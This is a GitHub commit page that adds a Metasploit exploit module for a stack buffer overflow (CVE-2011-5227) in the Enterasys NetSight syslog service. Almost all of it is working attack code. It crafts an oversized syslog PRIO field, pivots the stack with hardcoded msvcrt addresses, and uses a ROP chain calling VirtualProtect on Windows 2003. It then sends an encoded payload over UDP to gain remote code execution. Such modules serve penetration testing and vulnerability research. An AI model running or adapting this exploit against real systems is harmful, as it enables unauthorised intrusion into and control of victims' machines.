Skip to content

Commit f74d306

Browse files
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework into rapid7
2 parents 7158806 + 38de5d6 commit f74d306

File tree

1 file changed

+159
-0
lines changed

1 file changed

+159
-0
lines changed
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::Udp
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Enterasys NetSight nssyslogd.exe Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a stack buffer overflow in Enterasys NetSight. The
20+
vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially
21+
crafted PRIO from a syslog message. The module has been tested successfully on
22+
Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.
23+
},
24+
'Author' =>
25+
[
26+
'Jeremy Brown', # Vulnerability discovery
27+
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
28+
'juan vazquez' # Metasploit module
29+
],
30+
'References' =>
31+
[
32+
['CVE', '2011-5227'],
33+
['OSVDB', '77971'],
34+
['BID', '51124'],
35+
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'],
36+
['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1']
37+
],
38+
'Payload' =>
39+
{
40+
'BadChars' => "\x00",
41+
'Space' => 3000,
42+
'DisableNops' => true,
43+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
44+
},
45+
'Platform' => 'win',
46+
'Targets' =>
47+
[
48+
['Enterasys NetSight 4.0.1.34 / Windows XP SP3',
49+
{
50+
'Offset' => 43,
51+
'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
52+
}
53+
],
54+
['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2',
55+
{
56+
'Offset' => 43,
57+
'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
58+
}
59+
]
60+
],
61+
'Privileged' => true,
62+
'DisclosureDate' => 'Dec 19 2011',
63+
'DefaultTarget' => 1
64+
))
65+
66+
register_options([ Opt::RPORT(514) ], self.class)
67+
end
68+
69+
def junk(n=4)
70+
return rand_text_alpha(n).unpack("V")[0].to_i
71+
end
72+
73+
def nop
74+
return make_nops(4).unpack("V")[0].to_i
75+
end
76+
77+
def get_stackpivot
78+
stack_pivot = ''
79+
case target.name
80+
when /Windows XP SP3/
81+
stack_pivot << [0x77c4e448].pack("V") #ret
82+
stack_pivot << [0x77c4e448].pack("V") #ret
83+
stack_pivot << [0x77c4e448].pack("V") #ret
84+
stack_pivot << [0x77c4e448].pack("V") #ret
85+
stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN
86+
when /Windows 2003 SP2/
87+
stack_pivot << [0x77bdf448].pack("V") #ret
88+
stack_pivot << [0x77bdf448].pack("V") #ret
89+
stack_pivot << [0x77bdf448].pack("V") #ret
90+
stack_pivot << [0x77bdf448].pack("V") #ret
91+
stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN
92+
end
93+
return stack_pivot
94+
end
95+
96+
def get_payload
97+
my_payload = ''
98+
99+
case target.name
100+
when /Windows XP SP3/
101+
jmp_esp = [0x77c35459].pack("V")
102+
my_payload << jmp_esp
103+
when /Windows 2003 SP2/
104+
rop_gadgets =
105+
[
106+
0x77bb2563, # POP EAX # RETN
107+
0x77ba1114, # <- *&VirtualProtect()
108+
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
109+
junk,
110+
0x77bb0c86, # XCHG EAX,ESI # RETN
111+
0x77bc9801, # POP EBP # RETN
112+
0x77be2265, # ptr to 'push esp # ret'
113+
0x77bb2563, # POP EAX # RETN
114+
#0x03C0990F,
115+
0x03c09f0f,
116+
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0xb00 -> ebx)
117+
0x77bb48d3, # POP EBX, RET
118+
0x77bf21e0, # .data
119+
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
120+
0x77bbfc02, # POP ECX # RETN
121+
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
122+
0x77bd8c04, # POP EDI # RETN
123+
0x77bd8c05, # ROP NOP (-> edi)
124+
0x77bb2563, # POP EAX # RETN
125+
0x03c0984f,
126+
0x77bdd441, # SUB EAX, 03c0940f
127+
0x77bb8285, # XCHG EAX,EDX # RETN
128+
0x77bb2563, # POP EAX # RETN
129+
nop,
130+
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
131+
].pack("V*")
132+
my_payload << rop_gadgets
133+
end
134+
135+
my_payload << payload.encoded
136+
return my_payload
137+
end
138+
139+
def exploit
140+
connect_udp
141+
142+
prio = "<"
143+
prio << rand_text_alpha(19)
144+
prio << get_stackpivot
145+
prio << rand_text_alpha(4)
146+
prio << [target.ret].pack("V")
147+
prio << ">"
148+
149+
message = prio
150+
message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length
151+
message << get_payload
152+
153+
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
154+
udp_sock.put(message)
155+
156+
disconnect_udp
157+
end
158+
159+
end

0 commit comments

Comments
 (0)